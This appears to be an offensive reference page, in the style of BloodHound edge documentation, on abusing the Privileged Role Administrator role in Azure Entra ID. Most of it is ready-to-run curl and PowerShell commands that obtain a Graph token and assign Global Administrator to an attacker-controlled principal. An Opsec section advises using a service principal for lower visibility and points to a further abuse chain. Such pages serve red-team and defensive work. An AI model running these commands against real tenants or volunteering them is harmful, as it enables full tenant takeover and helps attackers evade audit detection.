AZPrivilegedRoleAdmin

The source principal holds the Privileged Role Administrator role, allowing it to assign any Entra ID admin role to any principal β€” including Global Administrator.

Applies to: User / ServicePrincipal β†’ AZTenant


Linux Abuse

Assign Global Admin role to controlled principal (curl)

TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

# Get Global Administrator role object ID
curl -s "https://graph.microsoft.com/v1.0/directoryRoles?\$filter=displayName eq 'Global Administrator'" \
  -H "Authorization: Bearer $TOKEN" | jq '.value[0].id'

# Assign role
curl -s -X POST "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members/\$ref" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"

Assign via roleManagement endpoint (unified RBAC)

curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "principalId": "<object-id>",
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
    "directoryScopeId": "/"
  }'

Windows Abuse

PowerZure β€” assign admin role

Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Add-AzureADRole -Role 'Global Administrator' -PrincipalId <object-id>

Microsoft.Graph PowerShell

Connect-MgGraph -AccessToken <access-token>

# Ensure Global Administrator role is activated in tenant
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# If not activated yet:
$roleTemplate = Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'"
$role = New-MgDirectoryRole -RoleTemplateId $roleTemplate.Id

New-MgDirectoryRoleMember -DirectoryRoleId $role.Id -DirectoryObjectId <object-id>

Assign via Graph role assignments

$params = @{
  principalId      = "<object-id>"
  roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"  # Global Administrator
  directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params

Opsec

  • Role assignments are logged in Entra ID audit as "Add member to role" with actor, role, and target.
  • Activating the Global Administrator role for a service principal is lower-visibility than adding an interactive user.
  • Global Admin role definition ID (static): 62e90394-69f5-4237-9190-012177145e10.
  • After escalation to Global Admin, follow AZGlobalAdmin abuse chain.